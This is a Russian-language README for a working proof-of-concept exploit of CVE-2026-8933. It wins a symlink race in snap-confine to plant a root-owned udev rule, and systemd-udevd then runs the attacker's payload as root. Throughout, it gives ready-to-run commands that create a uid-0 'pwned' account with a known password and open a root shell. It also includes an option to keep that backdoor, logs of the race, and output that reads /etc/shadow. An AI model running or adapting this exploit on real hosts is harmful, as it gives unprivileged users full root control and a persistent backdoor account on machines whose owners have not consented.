
Рабочий PoC для CVE-2026-8933: гонка символических ссылок в пространстве имён монтирования snap-confine, которая размещает принадлежащее root правило udev, что приводит к получению локальных прав root через systemd-udevd.
snap-confine → локальный root-шеллРабочий PoC. Полное локальное повышение привилегий воспроизведено от начала до конца: от непривилегированного пользователя (uid 1000) до настоящего root-шелла с uid 0 — без пароля, без взаимодействия, без каких-либо предварительных привилегий.
Непривилегированный процесс заставляет snap-confine с set-capabilities записать
udev-правило, принадлежащее root, в /run/udev/rules.d/ хоста; затем systemd-udevd
выполняет полезную нагрузку PROGRAM= этого правила от имени root. Встроенная полезная нагрузка создаёт
учётную запись с uid 0 и известным паролем, поэтому su - pwned (или ./_rootshell.py)
выдаёт root-шелл.
| Компонент | snap-confine → sc_replicate_base_rootfs() (исходный код snapd 2.73 в _msc_273.c; на тестируемом хосте работал snapd 2.76.3, и он всё ещё был уязвим) |
| Класс | Локальное повышение привилегий (гонка симлинков → создание произвольного файла, принадлежащего root, в /run/udev/** → выполнение кода от имени root) |
| Результат | Шелл с uid=0(root) из непривилегированной учётной записи |
| Надёжность | 16 запусков: 7 успешны с первой попытки, остальные — со второй; никогда не более 2 |
| Переносимость | не зависит от хоста: целевой snap, имя приложения, область cgroup, uid и путь к snap-confine определяются во время выполнения |
| Нужен root | нет (см. §9) |
Содержание
TL;DR · 1. Быстрый старт · 2. Требования · 3. Что вы должны увидеть · 4. Ошибка · 5. Выигрыш гонок · 6. Полезная нагрузка · 7. Содержимое пакета · 8. Конфигурация · 9. Привилегии и очистка · 10. Влияние и исправление · Устранение неполадок · Ссылки · Отказ от ответственности
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
Ожидаемый вывод (сокращённо):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
Драйвер выполняет очистку после себя (правило, полезная нагрузка, внедрённая учётная запись, временные каталоги и их точки монтирования). KEEP=1 сохраняет учётную запись, чтобы root-оболочку можно было использовать интерактивно в дальнейшем:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] собирает t18 + _ftrig, определяет цель,
запускает эксплойт до успеха, активирует udevd, проверяет root-полезную нагрузку и
выполняет очистку. 100% 12 — значение, использованное для всех измерений ниже; 0.3% 40
также работает (более жёсткая квота, больше попыток).
Перед тем как что-либо изменить, драйвер выводит автоматически определённую цель:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze в пользовательском scope),snap-confine, установленный с set-capabilities
(cap_chown,cap_dac_override,cap_sys_admin,…) — не set-uid-root,gcc + libfuse3 (pkg-config fuse3) для сборки t18 и _ftrig,/snap/<snap>/current которого
на верхнем уровне находится обычный файл — именно эта запись DT_REG
заставляет выполняться уязвимый open() (например, firefox, core22, …).
Подойдёт любой такой snap; SNAP=<name> принудительно выбирает конкретный../t18 info выводит snap, app, base, unit, scope, confine и
количество записей/обычных файлов обнаруженной цели, после чего завершается —
быстрый способ проверить, уязвим ли хост с установленными в нём snap-пакетами.
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
Файл, созданный snap-confine с привилегиями root, на хосте:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
а скрипт полезной нагрузки, на который он указывает (записан uid 1000, выполняется
systemd-udevd от имени uid 0):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine завершается сразу после этого на bind mount того же
элемента, отклонённом AppArmor — на этом этапе файл уже создан и заполнен.
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
16 запусков _t18poc.sh в рамках исследования и финальной универсальной сборки
все завершились LPE (7 из них с первой попытки, остальные со второй); ни одному
запуску не потребовалось более 2 попыток. Каждый запуск выполняет очистку после себя (правило,
payload, созданная учётная запись, временные каталоги и их точки монтирования).
snapd 2.73, sc_replicate_base_rootfs() (исходный код в _msc_273.c):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);